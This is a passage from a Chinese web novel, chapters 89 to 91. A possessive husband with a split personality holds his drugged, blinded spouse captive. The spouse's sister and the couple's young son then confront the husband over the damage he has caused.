——……让我贪心一点吧,我苦了这么久,上天是不是派你来拯救我的呢?
余赋秋看着自己,他绝望地走上前,指尖却穿透了自己的身体。
他声嘶力竭地呐喊着,声音扭曲而模糊,每一个字都带着泣血般的重量。
“不要去——!”
“不要救他——!”
“收起你的贪心,救了他,你就在跑不了了,会万劫不复的——!”
“转身走啊——!求你了。”
他现在想,当初剧情在梦中给他看他的结局,是不是就在警告不要在做这种无畏的挣扎了?
他应该更早的时候就走。
他应该带着和长庭知十五年的记忆去度过余生,本该是这样的。
主角攻就应该是主角受的。
而不是他这个不存在这个世界上的bug。
他好不容易逃脱了出来,遗忘了一切,有了自己重新开始的第二次人生。
然后——
又一次被摧毁了。
他只想看长春春慢慢地、健康的长大,他的未来是怎么样的,他未来的妻子和孩子又是怎样的,他会在哪里生活,哪里读书,哪里和未来的那个人去相爱,去相遇?
他和长庭知本该在两年前就分崩离析,断掉的。
余赋秋看着自己抱着长庭知逐渐远去的背影,无力地垂下了手。
……
“他为什么会变成这样!”
长庭知找到了左成双,将手中的药剂扔在地上。
左成双跟着导师的实验组发明出了长庭知要的药剂,但他放走余赋秋,此刻的左成双被关在地下室。
左成双看着自己的发小,吐出一口鲜血,“我师弟很早就警告过你了。”
“世界上没有后悔药可以吃。”
“他现在满心满眼都是你了,这不对吗。”
长庭知颓然地坐在地上,他神色疲倦,他只是想要余赋秋像爱长庭知那样爱他,他有什么错?
他本来才是这副身体真正的主人,那个人格只不过占据了十五年的光阴而已,他都融合了那个人格所有的记忆,为什么余赋秋不爱他,为什么他还是一心想要逃离他?
到底哪里出了差错?
可是让他放走余赋秋,这是根本不可能的事情。
他们两个好像陷入了死循环。
“庭知,我很早就告诉过你,放过他,对你们都好。”
“这个药物的副作用尚且不清楚,只是让人麻痹了神经,忘记记忆,而你的做法太过极端。”
长庭知想到余赋秋每次都是蜷缩起来,面对他的靠近,明明害怕但却不能反抗,只会一直拼命地道歉,然后再小心翼翼讨好他。
不,不是这样的。
他不要这样的余赋秋。
他,他……
“打了这种药,就没有回头路了,我告诫你很多次,甚至放走了余赋秋,就是为了避免这种情况。”
左成双叹了口气:“你扪心自问,你看着他变成这样,你会开心吗?”
长庭知的心脏似乎被紧紧捏着。
他失落地走到房间,看着背对着他的余赋秋。
明明自己想要的这个人就在自己的怀中,可是心脏却空落落的,像是被硬生生地挖走了一大块肉。
他把他们第一对婚戒小心翼翼地套在了余赋秋的无名指上,然后低头亲吻。
“宝贝。”
长庭知抱着他,失神地喃喃道:“你看看我,好不好,再爱我一回,好不好?”
“球球,你是我的妻子,是我合法的伴侣,是我的老婆,是我孩子的母亲。”
“你明明在我的身边,可我为什么……抓不住你呢?”
但余赋秋没有回应,只是乖巧地窝在他的怀中,睁着那双无声的眼睛,紧抓着疼痛跳动的心脏。
第90章 第90章[VIP]
余赋秋的情况逐渐不好。
长庭知是在后面发现的。
他调配好的、易于消化的粥, 盛在素白的瓷碗里面,他小心翼翼地段在床边,余赋秋被半扶着坐起, 眼神空洞的望着前方。
脸颊有些瘦削凹陷了进去, 衬得那双眼睛大的有些吓人。
长庭知舀起一小勺,轻轻吹凉:“球球,吃一点, 嗯?”
之前他工作忙,佣人做好的饭菜放在门口,一天过去了一点也没有少。
长庭知察觉到了不对劲, 他开始自己来亲自照顾余赋秋。
余赋秋的嘴唇动了动, 却没有张开,他闻到了食物的气味, 胃部立刻传来一阵细微的痉挛, 那不是饥饿感,是一种难以言喻的抵触和恶心。
但他不敢反抗。
他张了张嘴,含在口中,喉结滚了一下,想要努力地咽下去, 但只是几秒, 他的脸色以肉眼可见的速度变白。
终于, 他猛地侧过头,“哇“地一声,将刚刚下咽的一点粥, 连同胃里翻涌上来的酸水, 尽数地吐了出来。
他蜷缩起来,剧烈地喘息, 额头上渗出细腻的冷汗。
长庭知拍着他的背,紧抿着唇,指尖因为用力过度而泛着白。
余赋秋根本吃不下任何东西,他抗拒医生的靠近,甚至对针头的敏感度更甚。
只能等他熟睡后,把营养液注射入他的体内,来维持他最基本的生命所需。
余赋秋似乎察觉到了长庭知的沉默,他以为又是自己犯错了,小心翼翼地拉着长庭知的衣角,眼巴巴地认错,然后贴上他的唇。
“我该怎么做……”
“我到底该怎么办……”
长庭知茫然地坐在落地窗前。
“问问和赋秋最亲近的人吧。”
左成双师弟温煦建议道。
长庭知的呼吸变得沉重起来,他本质上应该是余赋秋最亲近的人——
可是看着随着他靠近,余赋秋蜷缩更厉害,他甚至在睡梦中都嗫嚅着嘴唇,小声哭泣道:“别……别靠近我。”
“滚开啊!滚!”
“我……”
他哑声道:“一定要这样吗?”
“我,我,我应该是他最亲近的人啊……”
“我们一般会在这个地方选择打针注射营养液。”温煦,他示意长庭知掀开余赋秋的衣服,那里密密麻麻都是针孔:“你觉得下一次还能打在哪里?”
“他本身就有心脏病,师兄的药物有稳定心脏的作用,所以他现在的症状不是那么严重,但是心脏的损伤是不可逆的。”
“如果你还想让他活着,那么就最好快点做决定吧。”
夜色浓稠,客厅没有开灯,只有茶几一角一盏台灯发出昏黄局限的黄昏,勉强照亮桌面上堆积的烟灰和几只空了的酒瓶。
凝重的烟雾几乎凝成实质,在光柱中缓慢滚动又被窗外缝隙渗入的夜风搅散了。
长庭知深陷入宽大的沙发上,身影几乎与身后的黑暗融为一体他指尖夹着烟已经燃到了尽头,烫到手指他才恍觉自己抽完了一只,他面无表情地把吸完的香烟掐入烟灰缸里面。
他动作连贯地又打开了一包烟。
他深深地洗了一口,目光没有焦点地落在虚空,或者说是穿透了墙壁,落在房间那道日渐消瘦的身体上。
余赋秋的情况日渐恶化。
手腕细得只剩下一层皮包裹着骨头,静脉清晰得可怕。
还有随着他靠近,他会条件反射般的呓语:“我错了…别打我……”
“怎么办?”
这个念头,不分昼夜地盘旋他脑海,医生的话在耳边回响:“心因性……躯体化……环境因素……”
他或许症结在哪里,也知道解药是什么。
可是与他心里的占有欲,与他把余赋秋牢牢锁在身边的现实,是如此的背道而驰。
放手?
哪怕是一点点?
这个念头刚冒出来,就被另一种更加强烈,近乎本能的抗拒碾碎。
让余赋秋离开他的视线?再让沈昭铭甚至其他人靠近余赋秋?代替他的位置,成为余赋秋生命中的另一个爱人吗?
单是如此想想,他的心口就窒息的疼。
强制?
用更先进的医疗手段,甚至……更强烈的精神类药物?
可那样得到的,又会是什么。
一具靠管子和仪器维持呼吸心跳的躯体,余赋秋现在虽然虚弱不堪,但至少有细微的反应,如果他连这些都失去了……
长庭知又狠狠吸了一口烟,烟雾呛入气管,引发一阵低咳。
他烦躁地将烟掐灭,端起手中的烈酒,仰头灌一大口酒,灼热的液体滑过喉咙,带来短暂的刺激,可以让他暂时的去规避这些敏感的问题。
他感到一种前所未有的迷茫甚至是一丝颓废,商场上再棘手的并购案,人际中在复杂的算计,他都能冷静分析,找到突破口,或者强力碾压或者巧妙的周旋。
可面对余赋秋这种情况,他所有的力量、手段和心机,都像打在棉花上,无处着力,甚至……适得其反。
他掌控的了他的身体,却掌控不了余赋秋求死的意志,他可以堵住他全部的出路,却堵不住他日益恶化的状态。
他记得余赋秋以前的模样,生动鲜活,会笑会哭,眼睛里有光,哪怕是恨,也好过现在一片死寂的黑暗和麻木的恐惧。
他们怎么会变成这样?
是从什么时候开始,事情变成了这样,是从他强行将人带了回来?发现沈昭铭的存在?或者是更早,再得知他并不是长庭知的那一刻?
香烟和酒精模糊了时间的概念,愧疚感与占有欲在脑海中激烈地交战,最终都化作了更深的无力和烦躁,他想要的,到底是什么?
是一个活着的,如同玩偶般乖巧的,但是却可以乖乖呆在他身边的余赋秋?
还是一个可能永远无法再属于他,却至少鲜活存在的余赋秋?
他不知道。
但至少,在他在长庭知道的体内,有意识的时候,看着长庭知和余赋秋的点点滴滴,他就知道,这个人会属于他,这是什么情感,长庭知不知道。
没有人教会他爱。
他所学的一切都是从童年那种极端的环境学会的。
他只知道他不允许余赋秋离开自己,不能离开自己的视线,更不能和其他人在一起。
“他是需要自由的。”
如果有人在这里,怕是会很惊讶,因为客厅里明明只有长庭知一个人,但他却在自言自语。
“你终于舍得出现了。”
长庭知冷笑着说,“看见他这样,所有的怨恨都是我承担,好处都是你占据了,你满意了?”
“作为交换,身体的主权不是给你了么。”
过去十五年和余赋秋在一起的人格‘长庭知’缓慢地苏醒了过来。
他其实很早就察觉自己体内的这个人格出现,只是一直压着这个人格,直到某天,他梦到了剧情,剧情告诉他,他是小说中的主角攻,他的使命是去爱主角受,他是天命,他是有命定的爱人,而不是眼前这个错误的余赋秋。
长庭知没理会,直到他发现自己能控制身体的主权越来越短,他知道时间要到了。
于是他和这个人格做了一个交易,自己陷入了沉睡。
直到此刻的苏醒。
长庭知将长春春给他的照片放在桌上,另一张是在国外两年笑得开怀的余赋秋。
他喉头艰涩道:“他想要什么,我都会给他,到底为什么会变成这样?”
“……极端。”‘长庭知’叹了口气:“我们本质上是同一个人,从根源上都是一样的,我都会的思考方式,怎么你不会?”
“你会给他自由?”
长庭知颓然地靠近椅背,抬起手,用力揉捏着发胀的太阳穴,指尖还残留着烟草辛辣的气息,“你看看过去那些口口声声说爱他的人,我只是发出了一些虚假的消息,他们立刻反水,去诋毁球球。”
“他们甚至不会去寻找事情的真相,只会跟风去发泄心中的愤怒,这样的外面,有什么值得他留恋的?”
“在我这里,一切的风雨都被抵挡了,他只要安安心心地在我的身边,不好吗?”
“……”‘长庭知’沉默了一瞬,他也不是没有这么想过,在得知余赋秋成名之后,他浮现脑海第一个想法是毁掉余赋秋,将他彻底囚禁在自己的身边,他厌恶外面所有把视线聚集在余赋秋脸上的人。
“更何况在我的身边,剧情就伤害不了他了,你看,他离开我,过成这个样子,原本健康的身体,心脏出了这样,还必须要倚靠药物,有什么用呢?”
“我当初也是这样想的,但这样是错误的。”
‘长庭知’脸上的笑容收敛了一些,弹了弹指尖的烟火,落在脚边,猩红的火光在眼底反射着,“你知道我怎么做的吗。”
“我会让他去做想要做的,然后,再慢慢渗透他的周围。”
“他会记着我所有的好,球球的家庭造就了他这个性格,然后,他怀孕了。”
“他把所有的重心放在孩子的身上,放在家庭身上。”
“不然你以为后面为什么他从来不接任何综艺节目?”
“因为那会离开我,离开春春。”
“最重要的一点,不是让你觉得你离不开他,而是你要让他离不开你,心甘情愿地跟在你的身边。”
“……那我现在,还来得及吗?”
窗外,城市依旧灯火璀璨,如同星河倒悬,而在这一方昂贵的囚笼与牢笼里面,他们一同沉沦。
“他现在就在你的身边。”
“你……你会消失吗?”
长庭知像是迷茫的孩子,久久坐在黑暗之中,他第一次直面自己的另一个人格。
“呵。”‘长庭知’轻笑了一声,“我们从本质上就是一个人。”
长庭知坐在一片狼藉的昏黄光晕中,被自己制造的困境反噬,被无法拯救的焦虑啃噬着,显露出了某种近乎颓废的迷茫。
烟灰缸又填了新灰,酒瓶见了低,长庭知没有动,只是静静地坐在那里,像是一尊逐渐被夜色和烟雾吞噬的雕塑。
……
余赋秋的脑袋昏昏沉沉,意识在黑夜之中沉浮,迷迷糊糊的睁开眼,他看了半天,面前又浮现出长庭知那张脸,下意识地伸出手去叫住长庭知的名字,“庭知……”
但那张盈满了笑意的脸庞只是很快的消散在他的眼前,他这才惊觉,自己能看见的——
只不过是无边无际的黑暗。
“球球。”
长庭知来到他的面前,轻轻地把他的手掌放在自己的掌心之中,把自己的脸庞埋在他的掌心。
余赋秋丧失了对时间的感知,他慢慢地坐了起来,没有任何的反应。
他笨拙的大脑缓慢地思考了一会儿,才意识到这是在喊他,但他只是张了张口,没有继续说话。
“姐姐说想来见你,我让她来见你,好不好?”
姐姐?
是谁?
余赋秋的大脑浑浊一片,脸上没有一丝丝的表情,只是顺从的嗯了一下,表示自己知道了。
“吃一点点东西就好不好?”
长庭知用近乎哀求的声音对余赋秋说,左成双的声音和另一个长庭知的声音混杂在一起,他第一次意识到,余赋秋现在最亲近的人,最信任的人根本不是他。
也不可能是他。
余赋秋现在活下去的动机就是为了长春春,在自己有限的时间陪伴长春春长大。
他其实不是不知道自己在沉睡的时候,长庭知会给他注射入营养液来维持他堪堪的生命。
长庭知说了很多很多他们回忆里面的事情,感受着掌心的冰冷,他怎么捂也捂不暖那双冰冷的手,只有胸膛的起伏在表示着他在活着,他在呼吸。
“球球,说一会儿话,好不好?”
他忍受不了这种孤寂的寒冷,偌大的房间里面,只有床头的一点昏黄的灯光照耀在这一方小地方。
“我……要说什么?”
余赋秋空洞的眼神忽然转向他,“只是这么一会儿,你已经受不了了吗?”
他歪了歪头,“自从失明以后,我的世界都是无尽的黑暗,我看不见,摸不到,我一个人留在这样的环境很久很久了。”
“你只是一会儿,就受不了了。”
“做人不能这样的,长庭知。”
长庭知的脸色‘唰’的一下子变白了。
他紧攥着余赋秋的手腕,鼻头一酸,“不,不是这样的……”
余赋秋的失明也是药物所致的副作用之一。
他被长庭知强制带回家里之后,心脏的疾病急剧恶化,一度要濒临死亡的境地,左成双不得不使用副作用最危险的药剂。
但最害怕的后果也出现了。
余赋秋失明了。
他的解释终究是徒劳的,现在的余赋秋无论如何也不会相信他。
左成双冰冷的声音在他的耳边响起:“我很早就告诫过你了,世界上没有后悔药吃,温煦也和你说过很多遍了。”
“这么多的药打进去,但凡是一个正常人都接受不了,更何况他还是个精神疾病的患者。”
这一切的质问将他的私心全都剖开来。
一览无余。
……
电话拨通出去的那一刻,长庭知自己都没有意识到,他有多久没有主动联系过褚宝梨了。
那是自己在世界上的血亲,他曾质问为什么褚宝梨要反对他和余赋秋的婚姻,质问他为什么要欺骗自己余赋秋已经死了。
但现在想来,褚宝梨是为了保护余赋秋。
他的姐姐比他更早知道他是什么样子的人。
当余赋秋的生命力像握不住的细沙从指缝里一点点溜走的时候,他才发现自己无人可求。
视频响了很久才被接起,褚宝梨的声音带着一贯的冷漠,却也有一丝难以掩饰的诧异:“庭知?”
“……”
长庭知没有说话,他看着怀中的人,声音嘶哑:“姐。”
“……”
视频那头的褚宝梨愣了一下。
她很快看到了长庭知怀中的人,顿时摒住了呼吸。
她早就应该猜到的。
长庭知不可能会信任她的说辞,坚信余赋秋还活着。
这是不太可能的事情。
但看见余赋秋还是被抓了回来的时候,一股无名火在褚宝梨的心头涌起,但她竭力克制自己,“你还想干什么。”
“……”长庭知声音嘶哑:“他不太好。”
“吃不下东西,吃了吐,只能打营养液维持生命,医生说是心理问题。”
他顿了顿,像是用了极大的力气,才从喉咙里面挤出后半句:“他不相信我,无论我说什么,他都不信我。”
视频那头的褚宝梨沉默了。
长庭知几乎可以想象褚宝梨此刻的神情。
但褚宝梨什么都没说,她只是问:“赋秋呢,让他接手机,你,出去。”
“姐,我……”
“出去。”
褚宝梨冷淡。
他将手机交给了余赋秋,亲了亲余赋秋的额头,他站在门外,背靠着冰冷的墙壁,听着里面隐约传来、隔着一道门、温柔的说话声。
“赋秋,是我,是姐姐。”
褚宝梨的声音轻柔,像是春风拂过水面。
余赋秋听到这个声音,嘴唇微微翕动,却没有发出声音。
“我听说了,我知道一切的。”褚宝梨的语气像是在哄一个受惊的孩子:“有我在,有姐姐在,你不是一个人。”
余赋秋的手动了动,抓过手机的那头,像是抓住了一个从遥远的、正常的世界抛来的线。
“姐姐……”
他的声音嘶哑而微弱,却带着一种许久未曾有过的、近乎哽咽的尾音。
“嗯,我在。”
褚宝梨应的很自然:“你知道吗,春春前几天干了一件非常好玩的事情,他偏偏要把家里的窗帘洗掉,后面发现窗帘缩水了,挂上去短了一大截呢,然后啊,我又给春春量了身高,医生说他恢复的很好,已经可以正常行走了,都长高了好几厘米呢。”
“还有一件事情,我记得很深刻,那时候的你把春春带我家来,他摇摇晃晃地走,走两步一屁股坐在地上,也不哭,就仰着脸看着你,等你来抱,你每次都心软,都不舍得让他多走几步,”她顿了顿:“庭知在旁边说,他什么时候才能学会走路……你说……”
“你说,没关系,摔跤太疼了,他不用学那么快,反正我一直在。”
余赋秋的眼眶慢慢地红了。
“……春春现在,”余赋秋开口,声音嘶哑而轻,“还会摔跤吗。”
“会啊。”褚宝梨说,“小孩子哪有不摔跤的。但他现在摔了也不哭,自己爬起来,拍拍膝盖,继续走。”
褚宝梨又讲了一些别的。
她好像只是随意地拣着记忆里的碎片,一片一片,毫无章法,却每一片都带着细碎的光。
她讲起很久以前,余赋秋还和长庭知在一起的时候。
那时候他们刚搬进新房子,两个人蹲在地上组装婴儿床,说明书看不懂,零件少了一个,长庭知把螺丝拧错了方向,余赋秋在旁边笑,笑得靠在长庭知肩膀上直不起腰。
“他说你是来帮忙还是来添乱的,”褚宝梨学着长庭知当时的语气,但学得不像,“你说,我是来监工的。”
她讲起春春第一次叫“爸爸”。
那天长庭知加班到很晚,回来的时候春春已经睡着了。
余赋秋给他热饭,随口说了一句“今天春春好像叫爸爸了,但不太清楚,不知道是不是在叫你”。
长庭知放下筷子,去了婴儿房,在床边坐了很久。
第二天他顶着黑眼圈出门,余赋秋问他怎么了,他说怕春春半夜醒了再叫,他睡着了听不见。
“他那时候,”褚宝梨斟酌着用词,声音很轻,“其实是个很好的爸爸。”
余赋秋沉默着。
他不知道这些。
或者说,他曾经知道,但那些记忆像被浓雾吞没的岛屿,只剩下一片模糊的轮廓。
他记得春春的第一次笑,第一次走路,第一次生病时整夜不睡地守着——可那些记忆里,长庭知在哪里?
他以为他一直不在。
他以为那些漫长而孤独的日夜,只有他自己。
“不是的。”褚宝梨像是听懂了他在想什么,声音很轻,却很坚定,“他那时候只是太笨了,他以为拼命工作、给你们最好的生活,就是爱你的方式,他不知道你真正想要的是什么。他自己也没有被好好地爱过,所以他不会。”
余赋秋没有说话。
“我不是替他开脱。”褚宝梨顿了顿,“他后来做的那些事,每一件都不可原谅。我只是想告诉你……你们曾经真的相爱过。那些日子不是假的。”
余赋秋把手机贴得更紧了一些。
他想说,那又怎样呢。
曾经相爱过,就可以抵消后来的背叛吗?曾经是好的父亲,就可以抹掉对春春的伤害吗?曾经许诺永远的人,转头把温柔给了另一个人,那些许诺还算数吗?
但他没有说。
他只是听着褚宝梨继续讲,讲那些他忘记了、或被痛苦掩埋了的、曾经真实存在过的温暖。
讲长庭知笨手笨脚给春春换尿布,被滋了一脸水还不敢动。
讲春春第一次发烧,长庭知连夜开车去医院,在急诊室外面来回走了两个小时,把地板都磨亮了。
讲某个下雪的冬夜,春春睡了,他们两个人窝在沙发上看一部无聊的老电影,长庭知的手一直握着他的,暖气太热,手心都出汗了,谁也没舍得松开。
“你那时候跟我说,”褚宝梨的声音带着一丝笑意,也带着一丝怅然,“你说,你终于有一个家了。”
余赋秋的眼泪终于落了下来。
无声的,汹涌的,顺着苍白的脸颊滑落,没入枕头。
他不知道自己在哭什么。
为那些失去的记忆,为那个曾经相信过永远的自己,为那个他以为永远消失了、却原来真实存在过的、被他遗忘的“曾经”
“……我忘了。”他的声音破碎得像风中的纸屑,“我什么都忘了。”
“没关系。”褚宝梨轻轻说,“忘了也没关系。”
“那些事情发生过,就是发生过。你忘记了,它也在那里。”
余赋秋攥紧被角,攥到指节泛白。
“春春记得。”褚宝梨说,“他记得爸爸给他讲故事,记得妈妈唱歌哄他睡觉。他现在那么黏你,不是因为你是他妈妈,是因为你一直都是。”
“你给他的那些爱,他没有忘记。”褚宝梨的声音温柔而笃定,“你也没有。”
她的语气里带了一丝很复杂的情绪,不是同情,不是心软,而是一种近乎无奈的了然。
“他爱你。用一种很扭曲、很病态、让人窒息的方式爱你。他自己把这份爱糟蹋成了这个样子,然后现在他站在废墟里,不知道该怎么重建。”
“他不会爱。他从来没有人教过他。他的童年是逃命、挨打、像野狗一样活着。你把他从那条巷子里捡回去,教他什么是家,什么是被在乎的感觉。你让他以为,他终于可以拥有什么了。”
“所以他怕,他怕你再离开他,怕你再回到那条巷子里,他不懂什么是放手,他只知道,他好不容易抓住的光,死也不能松开。”
余赋秋的呼吸开始变得急促。他把手机攥得死紧,指节泛白,像攥着溺水前最后一根浮木。
“可他……”
他的声音嘶哑破碎,像从喉咙里硬生生挤出来的。
“可他……”
他说不下去了。
“我知道。”褚宝梨轻轻说,“他把你伤得太深了,那些伤口不是他几句后悔就能抹平的。你没有义务原谅他,也没有义务再给他任何机会。”
她停顿了很久。
“我只是在想……”
她的声音低了下去,带着一丝连她自己都无法定义的怅然。
“他等了你十七年,从那条巷子到现在,你们在一起十五年,你离开两年,他疯了两年。他把整个房间贴满你的照片,不是炫耀战利品,是他怕自己会忘记你的样子。他把定位器放进你身体里,不是因为你逃走,是因为他受不了再失去你一次。”
“他做错了所有能做的事,用错了所有能用的方式,他把你推得越来越远,然后在自己挖的深渊里,仰头看着站在岸边的你。”
“可是赋秋……”
她轻轻叹了口气。
“他渴求了你十七年。这十七年里,你离开过,你恨过他,你爱上过别人,你忘了他——可他一直没有停止过想要你。”
“现在你就在他身边。他伸手就能碰到你,转身就能看到你,你吃不下东西一天天瘦下去,他坐在书房里一根接一根地抽烟,不敢进来,怕你看到他又害怕。”
“他笨,他偏执,他极端。他不知道该怎么爱你,只能用他唯一会的方式——占有、控制、不放手。”
“可是……”
褚宝梨的声音很轻,轻得像怕惊动什么。
“如果你觉得累了,倦了,不想再和他有任何纠葛了……那就放手。”
“你没有做错任何事,你保护自己是对的,你没有义务去拯救一个毁了你人生的人。”
她顿了顿。
“我只是问你一句——”
“就像你渴求了十七年的人,好不容易回到身边。”
“你真的甘心,就这样放手吗?”
电话挂断很久之后,余赋秋依然维持着那个姿势,蜷缩在黑暗里,眼泪无声地流了又干,干了又流。
他不知道自己是睡着了还是醒着。
但他第一次,在梦里没有梦到那个雨夜的小巷,没有梦到少年时伸出的那只手,没有梦到后来的冷漠和背叛,没有梦到囚笼、定位器、和那些被挖出的血肉。
他梦到了春春。
很小的春春,刚刚学会走路,摇摇晃晃朝他扑过来,嘴里含含糊糊地喊着“妈妈——妈妈——”
他蹲下身,张开手臂,把那个温热柔软的小小身体接了个满怀。
春春在他怀里咯咯地笑,软软的手指抓着他的衣领,仰起小脸,眼睛亮晶晶的,像落了星星。
“妈妈,”梦里的春春说,“你不要哭呀。”
余赋秋醒来时,发现自己的手正轻轻按在心口。
那里依然会痛,每一次心跳都带着隐隐的、酸涩的钝痛。
但好像,不完全是以前那种想要停下来的痛了。
是一种他还不太明白、也不知道该如何命名的痛。
像一颗埋在冻土下的种子,被一缕不知从何而来的、微弱的暖意触碰了一下。
还没有发芽。
但土已经不那么冷了。
作者有话说:《 》
90-100
第91章 第91章[VIP]
轰隆的雷声划过天幕, 剧烈的响声让长庭知一抖,他下意识的把余赋秋捞进怀里,这近乎成了他的本能动作。
但他没有摸到熟悉的体温, 只剩下冰冷的空气, 他心中一惊,手脚贸然出现了冷汗,他睁开眼, 原本本该窝在他怀中的余赋秋不见了踪影。
他快步走进浴室,没人。
阳台,没人。
房间里所有能藏身的地方, 他一个一个看过去, 都没有人。
他强迫自己冷静下来,打开手机调出监控, 画面里, 余赋秋在一个小时前,摸索着下了床,他看不见,石膏的腿也尚未完全好,走路一瘸一拐的, 他下床的时候摔了一觉, 所幸地板上铺着地毯。
他走得很慢, 每一步都像是试探虚空里的陷阱,然后,他消失在画面的边缘, 那方向是——
长庭知几乎是跑过去的。
衣柜的门虚掩着, 里面没有开灯,不, 不,有一束灯。
那是长春春的手表。
——和火灾里那被摧毁的一模一样。
黑暗中什么都看不清,只有一种熟悉的、独属于他自己的衣物和余赋秋衣服混杂在一起的气息。
然后他听到了声音。
很轻、很细,像是濒死的小动物发出的、破碎的呜咽。
长庭知的心脏狠狠一缩。
他伸手打开灯。
最里面的那扇衣柜门大开着,里面悬挂他的一排排西装和大衣,余赋秋就蜷缩在那个狭窄的空间底部,身体紧紧蜷缩成一团,双臂死死地抱着他一件深灰色的大衣,把脸埋入那堆布料里。
长庭知没动。
余赋秋在抖。
他以为姐姐的电话能给余赋秋带来一些安慰感。
可只是过了几天。
长庭知站在原地,一时间不敢上前。
“……球球?”
他在叫他的名字,声音压得很低。
他想要上去拉起他的手臂,却看见上面青紫的针孔愣住了。
余赋秋的身体猛然一僵,他没有抬头,反而更紧地蜷缩起来,把那张脸埋进怀中的衣服里面,嘴里发出含糊不清,断断续续的声音:“不对……不对……”
余赋秋只感到周围的空间似乎都迷糊了起来,他瞪大眼睛想要看清手中的衣服,但是他看不清,他看不见。
不见了,不见了。
他的衣服,他的气味。
不对不对。
不是他。
“气味不对……不是这个气味,不是他……”
他听不见长庭知的声音,他使劲地埋头在长庭知的大衣里面用鼻子蹭来蹭去。
他抱着长庭知的衣服,却在说气味不对。
长庭知想要去拿余赋秋怀中的衣服,只是在看清标签后,他蹲下来的动作僵住了。
这个款式的衣物,他已经很久没上身了。
不如说这件衣服自从他掌握这个身体之后就再也没有穿过,上一次穿过这件衣服的不是他。
是另一个长庭知。
他还没来得及开口,余赋秋又说话了。
“呜……”他小声发出小兽般的呜咽,“没有人……没有人可以保护我了……”
他的指尖死死地掐住那件大衣,指节泛白,“死了……都死了……”
他蜷缩的更厉害,像一只无力挣扎的困兽,只能用这种方式把自己藏起来:“他死了……那个爱我的他,死了……”
“我早该明白的,”余赋秋的声音越来越轻:“我等了好久好久……”
“巷子里的雨好大,我伸出手想要去抓住他,可他不见了。”
“抱我的那个人不见了……亲我额头的那个人不见了,说永远不会抛弃我,不会离开我的人……”
他停了很久。
然后从喉咙深处,挤出一个轻得几乎听不见的声音:“……消散了。”
“没有人了…”
他不再说话,只是把自己更深地埋在衣柜里面。
长庭知跪在那里,一动不动。
余赋秋找的不是他的衣服,找的是另一个长庭知的衣服。
但他现在找不到那个人格了。
所以他躲进了衣柜里,试图残留着“长庭知”气息的旧衣服,试图从虚无里面抓住一点安慰。
长庭知慢慢地伸出手,他想抱他。
把他从那堆冰冷的衣服里面捞出来,把他搂金怀中,用体温告诉他——我还活着,我还在这里,你不要害怕。
他的动作很轻很轻,隔着一层薄薄的睡衣布料,都能感觉到那下面瘦得硌手的骨骼,和无法停止的颤抖。
然后下一秒。
“啊—!”
一声凄厉的尖叫划破了整个房间的死寂。
余赋秋的后背狠狠撞在衣柜的内壁上,发出沉重的撞击声,他却像感觉不到痛,只是拼命地往后缩。
“不要——!不要碰我!”
他脸上满是惊恐,泪水盈满了眼睛,他剧烈地摇头:“好黑……怪物……它们要吃了我。”
“别过来!”
“求求你,别吃我——!”
“好黑好黑,好多人在看我,别看我,别看我……”
他疯了一样把大衣盖在自己的身上。
他根本没有办法睡觉,他只要一闭上眼,耳边全是窃窃私语的声音,那些讥讽、恶心的嘲笑声,那些人的脸幻化成怪物,要吃了他。
它们要撕开他的衣服,要吃了他!
“庭知,救救我,救救我——”
他渴望记忆中那道身影的重新出现。
长庭知的手似乎被冻僵了,再也没有办法往前一步。
他想说话。
但他此刻才绝望地发现,一切语言都是徒劳的、苍白的。
他的喉咙似乎被人掐住了,说不出任何一句话。
他想说我也是长庭知。
可他说不出口。
因为那不对。
他不是他。
“球球……”
“我不是……我不是怪物,我是……”
他的声音沙哑,他说不下去了,他不知道我是后面应该接什么。
他是长庭知,是毁了余赋秋婚礼的长庭知,是在他体内装上定位器的长庭知,也是让余赋秋在玄关处坐到天亮,让他被柯祈安伤害,让他失去一切希望的长庭知。
现在的他也是被余赋秋捡回去的长庭知,笨拙地学着给春春换尿布,为了听一声“爸爸”在婴儿床边坐了一夜的长庭知,也是和余赋秋十五年的长庭知。
可这两个长庭知,是同一个人吗?
他不知道。
余赋秋也不知道。
“……我把你找回来的……我把你留在我身边的……我把我能都给你了……”
长庭知干涩着声音,等余赋秋精疲力竭,陷入沉睡之后,他才敢上前拥抱余赋秋。
“……我也可以保护你的。”
无法用言语表达的情绪在心头蔓延开来。
他抱着余赋秋,跪在床边,一声又一声地哄着余赋秋,揉着他眉间褶皱。
床边的小夜灯把两个人的身影拉的极长,直到天明才消失不见。
……
“春春。”
长庭知坐在车子的前面,看着后视镜里面的儿子,他沉默了半响,还是轻声问:“你是不是早就看出来?”
“看出来什么?”长春春眨巴着眼睛,晃悠着小腿,他现在可以正常行走了,但是行走的时间不能过久,而且这个后遗症还是在的,不能长期剧烈的运动,所以外出的大部分时间还是坐轮椅。
“……看不出我不是你爸爸。”长庭知深深吸了一口气,把深埋在心底的话说了出来。
“……”
长春春没想到长庭知会这么直白地说了出来,他原本带着笑意的脸逐渐变得面无表情,点了点头:“嗯,自从妈咪回来后,我开始想起来很多的事情。”
“你不是我的爸爸,但你也是我的爸爸。”
长春春靠在车上,眼睛里飞快地倒映着往后开的景色,“爸爸,你在我五岁的时候就和我说过,不论以后你是不是你,都要我保护妈咪。”
“我那个时候还不懂你的意思,但我现在明白了,爸爸他……可能很早就知道了你的存在。”
“你知道妈咪怀孕的事情吗。”
长春春的眼很像长庭知,眼尾狭长,不笑的时候给人以一种很强的压迫感。
“……”
长庭知陷入了沉默,在他得知余赋秋流产的时候,他整个人差点喘不上气,半夜看着他肚子上明显的两道疤痕,他静默着,只能用指尖一遍又一遍抚摸那边。
还好,起码现在,他有挽回的余地了。
长庭知现在还是认为,余赋秋肚子里还有他们的孩子。
“我……”他艰涩道:“我,我知道……”
“你知道什么?”长春春声音尖锐了起来,他的手抓着座椅的皮套,“妈咪肚子里是双胞胎,那时候根本没流完全,又遭遇那么严重的火灾,他能活下来都是奇迹了,你根本不知道……”
“不知道沈爸爸对妈咪的重要性,你就是自私、胆小鬼,妈咪后面的精神状态已经不太好了,他整夜整夜睡不着,必须要吃药才能勉强的入睡,他每天看着你和那个人的照片、信息来麻痹自己。”
“你却让妈咪失去了他最爱的工作,让妈咪进行所谓的‘赎罪’。”
长春春虽然年纪小,但他什么都知道。
他气的浑身发抖,“你这让我、这让妈咪怎么去接受你?”
长庭知的指尖蜷缩了起来,他的喉头犹如被堵着。
这一刻,他想,如果自己消失,让他们两个心心念念的长庭知出来,是不是就好了?
“爸爸,这样的你,让春春真的很害怕。”
